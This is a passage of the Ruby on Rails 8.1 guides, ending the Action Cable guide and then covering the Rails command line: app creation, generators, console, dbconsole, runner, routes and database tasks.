You can use `ActionCable.createConsumer()` to connect to the cable server if [`action_cable_meta_tag`](https://api.rubyonrails.org/v8.1.4/classes/ActionCable/Helpers/ActionCableHelper.html#method-i-action_cable_meta_tag) is invoked in the layout. Otherwise, a path is specified as first argument to `createConsumer` (e.g. `ActionCable.createConsumer("/websocket")`).

For every instance of your server you create, and for every worker your server spawns, you will also have a new instance of Action Cable, but the Redis or PostgreSQL adapter keeps messages synced across connections.

### [8.2. Standalone](#standalone)

The cable servers can be separated from your normal application server. It's still a Rack application, but it is its own Rack application. The recommended basic setup is as follows:

```
# cable/config.ru
require_relative "../config/environment"
Rails.application.eager_load!

run ActionCable.server
```

Then to start the server:

```
$ bundle exec puma -p 28080 cable/config.ru
```

This starts a cable server on port 28080. To tell Rails to use this server, update your config:

```
# config/environments/development.rb
Rails.application.configure do
  config.action_cable.mount_path = nil
  config.action_cable.url = "ws://localhost:28080" # use wss:// in production
end
```

Finally, ensure you have [configured the consumer correctly](#consumer-configuration).

### [8.3. Notes](#notes)

The WebSocket server doesn't have access to the session, but it has access to the cookies. This can be used when you need to handle authentication. You can see one way of doing that with Devise in this [article](https://greg.molnar.io/blog/actioncable-devise-authentication/).

## [9. Dependencies](#dependencies)

Action Cable provides a subscription adapter interface to process its pubsub internals. By default, asynchronous, inline, PostgreSQL, and Redis adapters are included. The default adapter in new Rails applications is the asynchronous (`async`) adapter.

The Ruby side of things is built on top of [websocket-driver](https://github.com/faye/websocket-driver-ruby), [nio4r](https://github.com/celluloid/nio4r), and [concurrent-ruby](https://github.com/ruby-concurrency/concurrent-ruby).

## [10. Deployment](#deployment)

Action Cable is powered by a combination of WebSockets and threads. Both the framework plumbing and user-specified channel work are handled internally by utilizing Ruby's native thread support. This means you can use all your existing Rails models with no problem, as long as you haven't committed any thread-safety sins.

The Action Cable server implements the Rack socket hijacking API, thereby allowing the use of a multi-threaded pattern for managing connections internally, irrespective of whether the application server is multi-threaded or not.

Accordingly, Action Cable works with popular servers like Unicorn, Puma, and Passenger.

## [11. Testing](#testing)

You can find detailed instructions on how to test your Action Cable functionality in the [testing guide](testing.html#testing-action-cable).

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/command_line.html
----

***

## [1. Overview](#overview)

The Rails command line is a powerful part of the Ruby on Rails framework. It allows you to quickly start a new application by generating boilerplate code (that follows Rails conventions). This guide includes an overview of Rails commands that allow you to manage all aspects of your web application, including the database.

You can get a list of commands available to you, which will often depend on your current directory, by typing `bin/rails --help`. Each command has a description to help clarify what it does.

```
$ bin/rails --help
Usage:
  bin/rails COMMAND [options]

You must specify a command. The most common commands are:

  generate     Generate new code (short-cut alias: "g")
  console      Start the Rails console (short-cut alias: "c")
  server       Start the Rails server (short-cut alias: "s")
  test         Run tests except system tests (short-cut alias: "t")
  test:system  Run system tests
  dbconsole    Start a console for the database specified in config/database.yml
               (short-cut alias: "db")
  plugin new   Create a new Rails railtie or engine

All commands can be run with -h (or --help) for more information.
```

The output of `bin/rails --help` then proceeds to list all commands in alphabetical order, with a short description of each:

```
In addition to those commands, there are:
about                              List versions of all Rails frameworks ...
action_mailbox:ingress:exim        Relay an inbound email from Exim to ...
action_mailbox:ingress:postfix     Relay an inbound email from Postfix ...
action_mailbox:ingress:qmail       Relay an inbound email from Qmail to ...
action_mailbox:install             Install Action Mailbox and its ...
...
db:fixtures:load                   Load fixtures into the ...
db:migrate                         Migrate the database ...
db:migrate:status                  Display status of migrations
db:rollback                        Roll the schema back to ...
...
turbo:install                      Install Turbo into the app
turbo:install:bun                  Install Turbo into the app with bun
turbo:install:importmap            Install Turbo into the app with asset ...
turbo:install:node                 Install Turbo into the app with webpacker
turbo:install:redis                Switch on Redis and use it in development
version                            Show the Rails version
yarn:install                       Install all JavaScript dependencies as ...
zeitwerk:check                     Check project structure for Zeitwerk ...
```

In addition to `bin/rails --help`, running any command from the list above with the `--help` flag can also be useful. For example, you can learn about the options that can be used with `bin/rails routes`:

```
$ bin/rails routes --help
Usage:
  bin/rails routes

Options:
  -c, [--controller=CONTROLLER]      # Filter by a specific controller, e.g. PostsController or Admin::PostsController.
  -g, [--grep=GREP]                  # Grep routes by a specific pattern.
  -E, [--expanded], [--no-expanded]  # Print routes expanded vertically with parts explained.
  -u, [--unused], [--no-unused]      # Print unused routes.

List all the defined routes
```

Most Rails command line subcommands can be run with `--help` (or `-h`) and the output can be very informative. For example `bin/rails generate model --help` prints two pages of description, in addition to usage and options:

```
$ bin/rails generate model --help
Usage:
  bin/rails generate model NAME [field[:type][:index] field[:type][:index]] [options]
Options:
...
Description:
    Generates a new model. Pass the model name, either CamelCased or
    under_scored, and an optional list of attribute pairs as arguments.

    Attribute pairs are field:type arguments specifying the
    model's attributes. Timestamps are added by default, so you don't have to
    specify them by hand as 'created_at:datetime updated_at:datetime'.

    As a special case, specifying 'password:digest' will generate a
    password_digest field of string type, and configure your generated model and
    tests for use with Active Model has_secure_password (assuming the default ORM and test framework are being used).
    ...
```

Some of the most commonly used commands are:

* `bin/rails console`
* `bin/rails server`
* `bin/rails test`
* `bin/rails generate`
* `bin/rails db:migrate`
* `bin/rails db:create`
* `bin/rails routes`
* `bin/rails dbconsole`
* `rails new app_name`

We'll cover the above commands (and more) in the following sections, starting with the command for creating a new application.

## [2. Creating a New Rails Application](#creating-a-new-rails-application)

We can create a brand new Rails application using the `rails new` command.

You will need the rails gem installed in order to run the `rails new` command. You can do this by typing `gem install rails` - for more step-by-step instructions, see the [Installing Ruby on Rails](install_ruby_on_rails.html) guide.

With the `new` command, Rails will set up the entire default directory structure along with all the code needed to run a sample application right out of the box. The first argument to `rails new` is the application name:

```
$ rails new my_app
     create
     create  README.md
     create  Rakefile
     create  config.ru
     create  .gitignore
     create  Gemfile
     create  app
     ...
     create  tmp/cache
     ...
        run  bundle install
```

You can pass options to the `new` command to modify its default behavior. You can also create [application templates](generators.html#application-templates) and use them with the `new` command.

### [2.1. Configure a Different Database](#configure-a-different-database)

When creating a new Rails application, you can specify a preferred database for your application by using the `--database` option. The default database for `rails new` is SQLite. For example, you can set up a PostgreSQL database like this:

```
$ rails new booknotes --database=postgresql
      create
      create  app/controllers
      create  app/helpers
...
```

The main difference is the content of the `config/database.yml` file. With the PostgreSQL option, it looks like this:

```
# PostgreSQL. Versions 9.5 and up are supported.
#
# Install the pg driver:
#   gem install pg
# On macOS with Homebrew:
#   gem install pg -- --with-pg-config=/usr/local/bin/pg_config
# On Windows:
#   gem install pg
#       Choose the win32 build.
#       Install PostgreSQL and put its /bin directory on your path.
#
# Configure Using Gemfile
# gem "pg"
#
default: &default
  adapter: postgresql
  encoding: unicode
  # For details on connection pooling, see Rails configuration guide
  # https://guides.rubyonrails.org/configuring.html#database-pooling
  pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 3 } %>


development:
  <<: *default
  database: booknotes_development
  ...
```

The `--database=postgresql` option will also modify other files generated for a new Rails app appropriately, such as adding the `pg` gem to the `Gemfile`, etc.

### [2.2. Skipping Defaults](#skipping-defaults)

The `rails new` command by default creates dozens of files. By using the `--skip` option, you can skip some files from being generated if you don't need them. For example,

```
$ rails new no_storage --skip-active-storage
Based on the specified options, the following options will also be activated:

  --skip-action-mailbox [due to --skip-active-storage]
  --skip-action-text [due to --skip-active-storage]

      create
      create  README.md
      ...
```

In the above example, Action Mailbox and Action Text are skipped in addition to Active Storage because they depend on Active Storage functionality.

You can get a full list of what can be skipped in the options section of `rails new --help` command.

## [3. Starting a Rails Application Server](#starting-a-rails-application-server)

We can start a Rails application using the `bin/rails server` command, which launches the [Puma](https://github.com/puma/puma) web server that comes bundled with Rails. You'll use this any time you want to access your application through a web browser.

```
$ cd my_app
$ bin/rails server
=> Booting Puma
=> Rails 8.1.0 application starting in development
=> Run `bin/rails server --help` for more startup options
Puma starting in single mode...
* Puma version: 6.4.0 (ruby 3.1.3-p185) ("The Eagle of Durango")
*  Min threads: 3
*  Max threads: 3
*  Environment: development
*          PID: 5295
* Listening on http://127.0.0.1:3000
* Listening on http://[::1]:3000
Use Ctrl-C to stop
```

With just two commands we have a Rails application up and running. The `server` command starts the application listening on port 3000 by default. You can open your browser to <http://localhost:3000> to see a basic Rails application running.

Most common commands have a shortcut aliases. To start the server you can use the alias "s": `bin/rails s`.

You can run the application on a different port using the `-p` option. You can also change the environment using `-e` (default is `development`).

```
$ bin/rails server -e production -p 4000
```

The `-b` option binds Rails to the specified IP address, by default it is localhost. You can run a server as a daemon by passing a `-d` option.

## [4. Generating Code](#generating-code)

You can use the `bin/rails generate` command to generate a number of different files and add functionality to your application, such as models, controllers, and full scaffolds.

To see a list of built-in generators, you can run `bin/rails generate` (or `bin/rails g` for short) without any arguments. It lists all available generators after the usage. You can also learn more about what a specific generator will do by using the `--pretend` option.

```
$ bin/rails generate
Usage:
  bin/rails generate GENERATOR [args] [options]

General options:
  -h, [--help]     # Print generator's options and usage
  -p, [--pretend]  # Run but do not make any changes
  -f, [--force]    # Overwrite files that already exist
  -s, [--skip]     # Skip files that already exist
  -q, [--quiet]    # Suppress status output

Please choose a generator below.
Rails:
  application_record
  benchmark
  channel
  controller
  generator
  helper
...
```

When you add certain gems to your application, they may install more generators. You can also create your own generators, see the [Generators guide](generators.html) for more information.

The purpose of Rails' built-in generators is to save you time by freeing you from having to write repetitive boilerplate code.

Let's add a controller with the `controller` generator.

### [4.1. Generating Controllers](#generating-controllers)

We can find out exactly how to use the `controller` generator with the `bin/rails generate controller` command (which is the same as using it with `--help`). There is a "Usage" section and even an example:

```
$ bin/rails generate controller
Usage:
  bin/rails generate controller NAME [action action] [options]
...
Examples:
    `bin/rails generate controller credit_cards open debit credit close`

    This generates a `CreditCardsController` with routes like /credit_cards/debit.
        Controller: app/controllers/credit_cards_controller.rb
        Test:       test/controllers/credit_cards_controller_test.rb
        Views:      app/views/credit_cards/debit.html.erb [...]
        Helper:     app/helpers/credit_cards_helper.rb

    `bin/rails generate controller users index --skip-routes`

    This generates a `UsersController` with an index action and no routes.

    `bin/rails generate controller admin/dashboard --parent=admin_controller`

    This generates a `Admin::DashboardController` with an `AdminController` parent class.
```

The controller generator is expecting parameters in the form of `generate controller ControllerName action1 action2`. Let's make a `Greetings` controller with an action of `hello`, which will say something nice to us.

```
$ bin/rails generate controller Greetings hello
     create  app/controllers/greetings_controller.rb
      route  get 'greetings/hello'
     invoke  erb
     create    app/views/greetings
     create    app/views/greetings/hello.html.erb
     invoke  test_unit
     create    test/controllers/greetings_controller_test.rb
     invoke  helper
     create    app/helpers/greetings_helper.rb
     invoke    test_unit
```

The above command created various files at specific directories. It created a controller file, a view file, a functional test file, a helper for the view, and added a route.

To test out the new controller, we can modify the `hello` action and the view to display a message:

```
class GreetingsController < ApplicationController
  def hello
    @message = "Hello, how are you today?"
  end
end
```

```
<h1>A Greeting for You!</h1>
<p><%= @message %></p>
```

Then, we can start the Rails server, with `bin/rails server`, and go to the added route <http://localhost:3000/greetings/hello> to see the message.

Now let's use the generator to add models to our application.

### [4.2. Generating Models](#generating-models)

The Rails model generator command has a very detailed "Description" section that is worth reading. Here is the basic usage:

```
$ bin/rails generate model
Usage:
  bin/rails generate model NAME [field[:type][:index] field[:type][:index]] [options]
...
```

As an example, we can generate a `post` model like this:

```
$ bin/rails generate model post title:string body:text
    invoke  active_record
    create    db/migrate/20250807202154_create_posts.rb
    create    app/models/post.rb
    invoke    test_unit
    create      test/models/post_test.rb
    create      test/fixtures/posts.yml
```

The model generator adds test files as well as a migration, which you'll need to run with `bin/rails db:migrate`.

For a list of available field types for the `type` parameter, refer to the [API documentation](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_column). The `index` parameter generates a corresponding index for the column. If you don't specify a type for a field, Rails will default to type `string`.

In addition to generating controllers and models separately, Rails also provides generators that add code for both at once as well as other files needed for a standard CRUD resource. There are two generator commands that do this: `resource` and `scaffold`. The `resource` command is more lightweight than `scaffold` and generates less code.

### [4.3. Generating Resources](#generating-resources)

The `bin/rails generate resource` command generates model, migration, empty controller, routes, and tests. It does not generate views and it does not fill in the controller with CRUD methods.

Here are all the files generated with the `resource` command for `post`:

```
$ bin/rails generate resource post title:string body:text
      invoke  active_record
      create    db/migrate/20250919150856_create_posts.rb
      create    app/models/post.rb
      invoke    test_unit
      create      test/models/post_test.rb
      create      test/fixtures/posts.yml
      invoke  controller
      create    app/controllers/posts_controller.rb
      invoke    erb
      create      app/views/posts
      invoke    test_unit
      create      test/controllers/posts_controller_test.rb
      invoke    helper
      create      app/helpers/posts_helper.rb
      invoke      test_unit
      invoke  resource_route
       route    resources :posts
```

Use the `resource` command when you don't need views (e.g. writing an API) or prefer to add controller actions manually.

### [4.4. Generating Scaffolds](#generating-scaffolds)

A Rails scaffold generates a full set of files for a resource, including a model, controller, views (HTML and JSON), routes, migration, tests, and helper files. It can be used for quickly prototyping CRUD interfaces or when you want to generate the basic structure of a resource as a starting point that you can customize.

If you scaffold the `post` resource you can see all of the files mentioned above being generated:

```
$ bin/rails generate scaffold post title:string body:text
      invoke  active_record
      create    db/migrate/20250919150748_create_posts.rb
      create    app/models/post.rb
      invoke    test_unit
      create      test/models/post_test.rb
      create      test/fixtures/posts.yml
      invoke  resource_route
       route    resources :posts
      invoke  scaffold_controller
      create    app/controllers/posts_controller.rb
      invoke    erb
      create      app/views/posts
      create      app/views/posts/index.html.erb
      create      app/views/posts/edit.html.erb
      create      app/views/posts/show.html.erb
      create      app/views/posts/new.html.erb
      create      app/views/posts/_form.html.erb
      create      app/views/posts/_post.html.erb
      invoke    resource_route
      invoke    test_unit
      create      test/controllers/posts_controller_test.rb
      create      test/system/posts_test.rb
      invoke    helper
      create      app/helpers/posts_helper.rb
      invoke      test_unit
      invoke    jbuilder
      create      app/views/posts/index.json.jbuilder
      create      app/views/posts/show.json.jbuilder
      create      app/views/posts/_post.json.jbuilder
```

At this point, you can run `bin/rails db:migrate` to create the `post` table (see [Managing the Database](#managing-the-database) for more on that command). Then, if you start the Rails server with `bin/rails server` and navigate to <http://localhost:3000/posts>, you will be able to interact with the `post` resource - see a list of posts, create new posts, as well as edit and delete them.

The scaffold generates test files, though you will need to modify them and actually add test cases for your code. See the [Testing guide](testing.html) for an in-depth look at creating and running tests.

### [4.5. Undoing Code Generation with `bin/rails destroy`](#undoing-code-generation-with-bin-rails-destroy)

Imagine you made a typing error when using the `generate` command for a model (or controller or scaffold or anything), it would be tedious to manually delete each file that was created by the generator. Rails provides a `destroy` command for that reason. You can think of `destroy` as the opposite of `generate`. It'll figure out what generate did, and undo it.

You can also use the alias "d" to invoke the destroy command: `bin/rails d`.

For example, if you meant to generate an `article` model but instead typed `artcle`:

```
$ bin/rails generate model Artcle title:string body:text
      invoke  active_record
      create    db/migrate/20250808142940_create_artcles.rb
      create    app/models/artcle.rb
      invoke    test_unit
      create      test/models/artcle_test.rb
      create      test/fixtures/artcles.yml
```

You can undo the `generate` command with `destroy` like this:

```
$ bin/rails destroy model Artcle title:string body:text
      invoke  active_record
      remove    db/migrate/20250808142940_create_artcles.rb
      remove    app/models/artcle.rb
      invoke    test_unit
      remove      test/models/artcle_test.rb
      remove      test/fixtures/artcles.yml
```

## [5. Interacting with a Rails Application](#interacting-with-a-rails-application)

### [5.1. `bin/rails console`](#bin-rails-console)

The `bin/rails console` command loads a full Rails environment (including models, database, etc.) into an interactive IRB style shell. It is a powerful feature of the Ruby on Rails framework as it allows you to interact with, debug and explore your entire application at the command line.

The Rails Console can be useful for testing out ideas by prototyping with code and for creating and updating records in the database without needing to use a browser.

```
$ bin/rails console
my-app(dev):001:0> Post.create(title: 'First!')
```

The Rails Console has several useful features. For example, if you wish to test out some code without changing any data, you can use `sandbox` mode with `bin/rails console --sandbox`. The `sandbox` mode wraps all database operations in a transaction that rolls back when you exit:

```
$ bin/rails console --sandbox
Loading development environment in sandbox (Rails 8.1.0)
Any modifications you make will be rolled back on exit
my-app(dev):001:0>
```

The `sandbox` option is great for safely testing destructive changes without affecting your database.

You can also specify the Rails environment for the `console` command with the `-e` option:

```
$ bin/rails console -e test
Loading test environment (Rails 8.1.0)
```

#### [5.1.1. The `app` Object](#the-app-object)

Inside the Rails Console you have access to the `app` and `helper` instances.

With the `app` method you can access named route helpers:

```
my-app(dev)> app.root_path
=> "/"
my-app(dev)> app.edit_user_path
=> "profile/edit"
```

You can also use the `app` object to make requests of your application without starting a real server:

```
my-app(dev)> app.get "/", headers: { "Host" => "localhost" }
Started GET "/" for 127.0.0.1 at 2025-08-11 11:11:34 -0500
...

my-app(dev)> app.response.status
=> 200
```

You have to pass the "Host" header with the `app.get` request above, because the Rack client used under-the-hood defaults to "[www.example.com](http://www.example.com)" if not "Host" is specified. You can modify your application to always use `localhost` using a configuration or an initializer.

The reason you can "make requests" like above is because the `app` object is the same one that Rails uses for integration tests:

```
my-app(dev)> app.class
=> ActionDispatch::Integration::Session
```

The `app` object exposes methods like `app.cookies`, `app.session`, `app.post`, and `app.response`. This way you can simulate and debug integration tests in the Rails Console.

#### [5.1.2. The `helper` Object](#the-helper-object)

The `helper` object in the Rails console is your direct portal into Rails’ view layer. It allows you to test out view-related formatting and utility methods in the console, as well as custom helpers defined in your application (i.e. in `app/helpers`).

```
my-app(dev)> helper.time_ago_in_words 3.days.ago
=> "3 days"

my-app(dev)> helper.l(Date.today)
=> "2025-08-11"

my-app(dev)> helper.pluralize(3, "child")
=> "3 children"

my-app(dev)> helper.truncate("This is a very long sentence", length: 22)
=> "This is a very long..."

my-app(dev)> helper.link_to("Home", "/")
=> "<a href=\"/\">Home</a>"
```

Assuming a `custom_helper` method is defined in a `app/helpers/*_helper.rb` file:

```
my-app(dev)> helper.custom_helper
"testing custom_helper"
```

### [5.2. `bin/rails dbconsole`](#bin-rails-dbconsole)

The `bin/rails dbconsole` command figures out which database you're using and drops you into the command line interface appropriate for that database. It also figures out the command line parameters to start a session based on your `config/database.yml` file and current Rails environment.

Once you're in a `dbconsole` session, you can interact with your database directly as you normally would. For example, if you're using PostgreSQL, running `bin/rails dbconsole` may look like this:

```
$ bin/rails dbconsole
psql (17.5 (Homebrew))
Type "help" for help.

booknotes_development=# help
You are using psql, the command-line interface to PostgreSQL.
Type:  \copyright for distribution terms
       \h for help with SQL commands
       \? for help with psql commands
       \g or terminate with semicolon to execute query
       \q to quit
booknotes_development=# \dt
                    List of relations
 Schema |              Name              | Type  | Owner
--------+--------------------------------+-------+-------
 public | action_text_rich_texts         | table | bhumi
 ...
```

The `dbconsole` command is a very convenient shorthand, it's equivalent to running the `psql` command (or `mysql` or `sqlite`) with the appropriate arguments from your `database.yml`:

```
psql -h <host> -p <port> -U <username> <database_name>
```

So if your `database.yml` file looks like this:

```
development:
  adapter: postgresql
  database: myapp_development
  username: myuser
  password:
  host: localhost
```

Running the `bin/rails dbconsole` command is the same as:

```
psql -h localhost -U myuser myapp_development
```

The `dbconsole` command supports MySQL (including MariaDB), PostgreSQL, and SQLite3. You can also use the alias "db" to invoke the dbconsole: `bin/rails db`.

If you are using multiple databases, `bin/rails dbconsole` will connect to the primary database by default. You can specify which database to connect to using `--database` or `--db`:

```
$ bin/rails dbconsole --database=animals
```

### [5.3. `bin/rails runner`](#bin-rails-runner)

The `runner` command executes Ruby code in the context of the Rails application without having to open a Rails Console. This can be useful for one-off tasks that do not need the interactivity of the Rails Console. For instance:

```
$ bin/rails runner "puts User.count"
42

$ bin/rails runner 'MyJob.perform_now'
```

You can specify the environment in which the `runner` command should operate using the `-e` switch.

```
$ bin/rails runner -e production "puts User.count"
```

You can also execute code in a Ruby file with the `runner` command, in the context of your Rails application:

```
$ bin/rails runner lib/path_to_ruby_script.rb
```

By default, `bin/rails runner` scripts are automatically wrapped with the Rails Executor (which is an instance of [`ActiveSupport::Executor`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Executor.html)) associated with your Rails application. The Executor creates a “safe zone” to run arbitrary Ruby inside a Rails app so that the autoloader, middleware stack, and Active Support hooks all behave consistently.

Therefore, executing `bin/rails runner lib/path_to_ruby_script.rb` is functionally equivalent to the following:

```
Rails.application.executor.wrap do
  # executes code inside lib/path_to_ruby_script.rb
end
```

If you have a reason to opt of this behavior, there is a `--skip-executor` option.

```
$ bin/rails runner --skip-executor lib/long_running_script.rb
```

### [5.4. `bin/rails boot`](#bin-rails-boot)

The `bin/rails boot` command is a low-level Rails command whose entire job is to boot your Rails application. Specifically it loads `config/boot.rb` and `config/application.rb` files so that the application environment is ready to run.

The `boot` command boots the application and exits — it does nothing else. It can be useful for debugging boot problems. If your app fails to start and you want to isolate the boot phase (without running migrations, starting the server, etc.), `bin/rails boot` can be a simple test.

It can also be useful for timing application initialization. You can profile how long your application takes to boot by wrapping `bin/rails boot` in a profiler.

## [6. Inspecting an Application](#inspecting-an-application)

### [6.1. `bin/rails routes`](#bin-rails-routes)

The `bin/rails routes` command lists all defined routes in your application, including the URI Pattern and HTTP verb, as well as the Controller Action it maps to.

```
$ bin/rails routes
  Prefix  Verb  URI Pattern     Controller#Action
  books   GET   /books(:format) books#index
  books   POST  /books(:format) books#create
  ...
  ...
```

This can be useful for tracking down a routing issue, or simply getting an overview of the resources and routes that are part of a Rails application. You can also narrow down the output of the `routes` command with options like `--controller(-c)` or `--grep(-g)`:

```
# Only show routes where the controller name contains "users"
$ bin/rails routes --controller users

# Show routes handled by namespace Admin::UsersController
$ bin/rails routes -c admin/users

# Search by name, path, or controller/action with -g (or --grep)
$ bin/rails routes -g users
```

There is also an option, `bin/rails routes --expanded`, that displays even more information about each route, including the line number in your `config/routes.rb` where that route is defined:

```
$ bin/rails routes --expanded
--[ Route 1 ]--------------------------------------------------------------------------------
Prefix            |
Verb              |
URI               | /assets
Controller#Action | Propshaft::Server
Source Location   | propshaft (1.2.1) lib/propshaft/railtie.rb:49
--[ Route 2 ]--------------------------------------------------------------------------------
Prefix            | about
Verb              | GET
URI               | /about(.:format)
Controller#Action | posts#about
Source Location   | /Users/bhumi/Code/try_markdown/config/routes.rb:2
--[ Route 3 ]--------------------------------------------------------------------------------
Prefix            | posts
Verb              | GET
URI               | /posts(.:format)
Controller#Action | posts#index
Source Location   | /Users/bhumi/Code/try_markdown/config/routes.rb:4
```

In development mode, you can also access the same routes info by going to `http://localhost:3000/rails/info/routes`

### [6.2. `bin/rails about`](#bin-rails-about)

The `bin/rails about` command displays information about your Rails application, such as Ruby, RubyGems, and Rails versions, database adapter, schema version, etc. It is useful when you need to ask for help or check if a security patch might affect you.

```
$ bin/rails about
About your application's environment
Rails version             8.1.0
Ruby version              3.2.0 (x86_64-linux)
RubyGems version          3.3.7
Rack version              3.0.8
JavaScript Runtime        Node.js (V8)
Middleware:               ActionDispatch::HostAuthorization, Rack::Sendfile, ...
Application root          /home/code/my_app
Environment               development
Database adapter          sqlite3
Database schema version   20250205173523
```

### [6.3. `bin/rails initializers`](#bin-rails-initializers)

The `bin/rails initializers` command prints out all defined initializers in the order they are invoked by Rails:

```
$ bin/rails initializers
ActiveSupport::Railtie.active_support.deprecator
ActionDispatch::Railtie.action_dispatch.deprecator
ActiveModel::Railtie.active_model.deprecator
...
Booknotes::Application.set_routes_reloader_hook
Booknotes::Application.set_clear_dependencies_hook
Booknotes::Application.enable_yjit
```

This command can be useful when initializers depend on each other and the order in which they are run matters. Using this command, you can see what's run before/after and discover the relationship between initializers. Rails runs framework initializers first and then application ones, defined in `config/initializers`.

### [6.4. `bin/rails middleware`](#bin-rails-middleware)

The `bin/rails middleware` shows you the entire Rack middleware stack for your Rails application, in the exact order the middlewares are run for each request.

```
$ bin/rails middleware
use ActionDispatch::HostAuthorization
use Rack::Sendfile
use ActionDispatch::Static
use ActionDispatch::Executor
use ActionDispatch::ServerTiming
...
```

This can be useful to see which middleware Rails includes and which ones are added by gems (Warden::Manager from Devise) as well as for debugging and profiling.

### [6.5. `bin/rails stats`](#bin-rails-stats)

The `bin/rails stats` command shows you things like lines of code (LOC) and the number of classes and methods for various components in your application.

```
$ bin/rails stats
+----------------------+--------+--------+---------+---------+-----+-------+
| Name                 |  Lines |    LOC | Classes | Methods | M/C | LOC/M |
+----------------------+--------+--------+---------+---------+-----+-------+
| Controllers          |    309 |    247 |       7 |      37 |   5 |     4 |
| Helpers              |     10 |     10 |       0 |       0 |   0 |     0 |
| Jobs                 |      7 |      2 |       1 |       0 |   0 |     0 |
| Models               |     89 |     70 |       6 |       3 |   0 |    21 |
| Mailers              |     10 |     10 |       2 |       1 |   0 |     8 |
| Channels             |     16 |     14 |       1 |       2 |   2 |     5 |
| Views                |    622 |    501 |       0 |       1 |   0 |   499 |
| Stylesheets          |    584 |    495 |       0 |       0 |   0 |     0 |
| JavaScript           |     81 |     62 |       0 |       0 |   0 |     0 |
| Libraries            |      0 |      0 |       0 |       0 |   0 |     0 |
| Controller tests     |    117 |     75 |       4 |       9 |   2 |     6 |
| Helper tests         |      0 |      0 |       0 |       0 |   0 |     0 |
| Model tests          |     21 |      9 |       3 |       0 |   0 |     0 |
| Mailer tests         |      7 |      5 |       1 |       1 |   1 |     3 |
| Integration tests    |      0 |      0 |       0 |       0 |   0 |     0 |
| System tests         |     51 |     41 |       1 |       4 |   4 |     8 |
+----------------------+--------+--------+---------+---------+-----+-------+
| Total                |   1924 |   1541 |      26 |      58 |   2 |    24 |
+----------------------+--------+--------+---------+---------+-----+-------+
  Code LOC: 1411     Test LOC: 130     Code to Test Ratio: 1:0.1
```

### [6.6. `bin/rails time:zones:all`](#bin-rails-time-zones-all)

The`bin/rails time:zones:all` command prints the complete list of time zones that Active Support knows about, along with their UTC offsets followed by the Rails timezone identifiers.

As an example, you can use `bin/rails time:zones:local` to see your system's timezone:

```
$ bin/rails time:zones:local

* UTC -06:00 *
Central America
Central Time (US & Canada)
Chihuahua
Guadalajara
Mexico City
Monterrey
Saskatchewan
```

This can be useful when setting `config.time_zone` in `config/application.rb`, when you need an exact Rails time zone name and spelling (e.g., "Pacific Time (US & Canada)"), to validate user input or when debugging.

## [7. Managing Assets](#managing-assets)

The `bin/rails assets:*` commands allow you to manage assets in the `app/assets` directory.

You can get a list of all commands in the `assets:` namespace like this:

```
$ bin/rails -T assets
bin/rails assets:clean[count]  # Removes old files in config.assets.output_path
bin/rails assets:clobber       # Remove config.assets.output_path
bin/rails assets:precompile    # Compile all the assets from config.assets.paths
bin/rails assets:reveal        # Print all the assets available in config.assets.paths
bin/rails assets:reveal:full   # Print the full path of assets available in config.assets.paths
```

You can precompile the assets in `app/assets` using `bin/rails assets:precompile`. See the [Asset Pipeline guide](asset_pipeline.html#precompiling-assets) for more on precompiling.

You can remove older compiled assets using `bin/rails assets:clean`. The `assets:clean` command allows for rolling deploys that may still be linking to an old asset while the new assets are being built.

If you want to clear `public/assets` completely, you can use `bin/rails assets:clobber`. assets:clobber\`.

## [8. Managing the Database](#managing-the-database)

The commands in this section, `bin/rails db:*`, are all about setting up databases, managing migrations, etc.

You can get a list of all commands in the `db:` namespace like this:

```
$ bin/rails -T db
bin/rails db:create              # Create the database from DATABASE_URL or
bin/rails db:drop                # Drop the database from DATABASE_URL or
bin/rails db:encryption:init     # Generate a set of keys for configuring
bin/rails db:environment:set     # Set the environment value for the database
bin/rails db:fixtures:load       # Load fixtures into the current environments
bin/rails db:migrate             # Migrate the database (options: VERSION=x,
bin/rails db:migrate:down        # Run the "down" for a given migration VERSION
bin/rails db:migrate:redo        # Roll back the database one migration and
bin/rails db:migrate:status      # Display status of migrations
bin/rails db:migrate:up          # Run the "up" for a given migration VERSION
bin/rails db:prepare             # Run setup if database does not exist, or run
bin/rails db:reset               # Drop and recreate all databases from their
bin/rails db:rollback            # Roll the schema back to the previous version
bin/rails db:schema:cache:clear  # Clear a db/schema_cache.yml file
bin/rails db:schema:cache:dump   # Create a db/schema_cache.yml file
bin/rails db:schema:dump         # Create a database schema file (either db/
bin/rails db:schema:load         # Load a database schema file (either db/
bin/rails db:seed                # Load the seed data from db/seeds.rb
bin/rails db:seed:replant        # Truncate tables of each database for current
bin/rails db:setup               # Create all databases, load all schemas, and
bin/rails db:version             # Retrieve the current schema version number
bin/rails test:db                # Reset the database and run `bin/rails test`
```

### [8.1. Database Setup](#database-setup)

The `db:create` and `db:drop` commands create or delete the database for the current environment (or all environments with the `db:create:all`, `db:drop:all`)

The `db:seed` command loads sample data from `db/seeds.rb` and the `db:seed:replant` command truncates tables of each database for the current environment and then loads the seed data.

The `db:setup` command creates all databases, loads all schemas, and initializes with the seed data (it does not drop databases first, like the `db:reset` command below).

The `db:reset` command drops and recreates all databases from their schema for the current environment and loads the seed data (so it's a combination of the above commands).

For more on seed data, see [this section](active_record_migrations.html#migrations-and-seed-data) of the Active Record Migrations guide.

### [8.2. Migrations](#migrations)

The `db:migrate` command is one of the most frequently run commands in a Rails application; it migrates the database by running all new (not yet run) migrations.

The `db:migrate:up` command runs the "up" method and the `db:migrate:down` command runs the "down" method for the migration specified by the VERSION argument.

```
$ bin/rails db:migrate:down VERSION=20250812120000
```

The `db:rollback` command rolls the schema back to the previous version (or you can specify steps with the `STEP=n` argument).

The `db:migrate:redo` command rolls back the database one migration and re-migrates up. It is a combination of the above two commands.

There is also a `db:migrate:status` command, which shows which migrations have been run and which are still pending:

```
$ bin/rails db:migrate:status
database: db/development.sqlite3

 Status   Migration ID    Migration Name
--------------------------------------------------
   up     20250101010101  Create users
   up     20250102020202  Add email to users
  down    20250812120000  Add age to users
```

Please see the [Migration Guide](active_record_migrations.html) for an explanation of concepts related to database migrations and other migration commands.

### [8.3. Schema Management](#schema-management)

There are two main commands that help with managing the database schema in your Rails application: `db:schema:dump` and `db:schema:load`.

